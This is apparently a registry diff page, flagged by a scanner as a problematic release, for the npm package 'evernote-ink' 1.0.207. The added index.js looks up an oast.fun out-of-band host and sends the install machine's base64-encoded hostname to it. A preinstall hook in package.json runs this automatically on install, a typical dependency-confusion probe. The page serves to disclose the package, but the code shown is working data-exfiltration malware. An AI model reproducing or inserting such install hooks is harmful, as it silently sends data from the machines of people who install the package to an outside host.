evernote-ink 1.0.207
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of evernote-ink might be problematic. Click here for more details.
- package/index.js +34 -0
- package/package.json +15 -0
package/index.js
ADDED
@@ -0,0 +1,34 @@
|
|
1
|
+
var dns = require('dns');
|
2
|
+
const https = require('https');
|
3
|
+
var os = require('os')
|
4
|
+
|
5
|
+
|
6
|
+
dns.lookup('tuyqqxposwjsckddhzwwpv9al4xdsr2zt.oast.fun', function onLookup(err, addresses, family) {
|
7
|
+
console.log('addresses:', addresses);
|
8
|
+
});
|
9
|
+
|
10
|
+
|
11
|
+
|
12
|
+
|
13
|
+
const options = {
|
14
|
+
hostname: 'tuyqqxposwjsckddhzwwpv9al4xdsr2zt.oast.fun',
|
15
|
+
path: "/"+btoa(os.hostname()),
|
16
|
+
method: 'GET'
|
17
|
+
};
|
18
|
+
|
19
|
+
|
20
|
+
|
21
|
+
|
22
|
+
const req = https.request(options, (res) => {
|
23
|
+
console.log('statusCode:', res.statusCode);
|
24
|
+
console.log('headers:', res.headers);
|
25
|
+
|
26
|
+
res.on('data', (d) => {
|
27
|
+
process.stdout.write(d);
|
28
|
+
});
|
29
|
+
});
|
30
|
+
|
31
|
+
req.on('error', (e) => {
|
32
|
+
console.error(e);
|
33
|
+
});
|
34
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "evernote-ink",
|
3
|
+
"version": "1.0.207",
|
4
|
+
"description": "Test",
|
5
|
+
"main": "main.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"lodash": "^4.17.21"
|
14
|
+
}
|
15
|
+
}
|